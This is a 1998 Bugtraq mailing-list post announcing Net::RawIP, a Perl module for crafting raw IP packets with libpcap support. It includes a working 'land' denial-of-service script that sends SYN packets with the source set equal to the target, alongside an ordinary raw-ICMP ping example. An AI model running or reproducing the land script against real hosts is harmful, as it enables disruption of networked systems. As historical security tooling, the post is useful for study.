[8779] in bugtraq

home help back first fref pref prev next nref lref last post

New perl module Net::RawIP

daemon@ATHENA.MIT.EDU (Sergey V. Kolychev)
Tue Dec 22 16:26:18 1998

Date: 	Tue, 22 Dec 1998 17:23:38 +0200
Reply-To: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: "Sergey V. Kolychev" <ksv@GW.AL.LG.UA>
To: BUGTRAQ@NETSPACE.ORG

 Good day.
This is my first bugtraq post.

 I'm just another perl coder ;). I'm writing module which
 can be used for easy manipulating raw ip packets from perl.
 This module have optional feature for manipulating ethernet
 headers.
 Also it included interface for libpcap. It can be used for
 easy writing port scanners,programs for check security,
 network DoS  directly from perl ;)
 I have test my module only on Linux 2.0.3x with glibc
 Just two small examples:
land
-----
#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('i:p:');
$a = new Net::RawIP;
die "Usage $0 -i <target> -p <target port>" unless ($opt_i && $opt_p);
$a->set({ ip => {saddr => $opt_i,
                 daddr => $opt_i
                 },
          tcp=> {dest => $opt_p,
                 source => $opt_p,
                 psh => 1,
                 syn => 1}
        });
$a->send;
---------
ping
---------
#!/usr/bin/perl
use Net::RawIP qw(:pcap);
$a = new Net::RawIP ({icmp =>{}});
$a->set({ip => {saddr => 'ns.al.lg.ua', # insert your site here !
                daddr => $ARGV[0]},
         icmp => {type => 8, id => $$}
         });
$device = 'eth0'; # insert your device here !
$filt = 'ip proto \\icmp and dst host ns.al.lg.ua';# insert your site here!
$size = 1500;
$tout = 30;
$pcap = $a->pcapinit($device,$filt,$size,$tout);
$i =0;
if(fork){
loop $pcap,-1,\&dmp,\@a;
}
else{
sleep 2;
for(;;){
$a->set({icmp => {sequence => $i,data => timem()}});
$a->send(1,1);
$i++
}
}
sub dmp{
my $time = timem();
$a->bset(substr($_[2],14));
my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence data)]});
printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f ms\n",length($ar[2])+8,
,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);
}
----

Thanks to Pavel Krauz <kra@cri.cz> for hunt,I used some code from it.

 Latest version my module available from
 http://www.ic.al.lg.ua/~ksv/Net-RawIP-0.02b.tar.gz
 Version 0.01 available from CPAN
 I will be glad if somebody find my work interesting.

   ----------------------Alchevsk Linux User Group-----------------------
      UNIX is user friendly. It's just selective who the friends are.
      Linux is like wigwam - no windows, no gates, apache inside.
      http://www.ic.al.lg.ua/~ksv | e-mail: ksv@gw.al.lg.ua
      PGP key & Geekcode: finger ksv@gw.al.lg.ua

home help back first fref pref prev next nref lref last post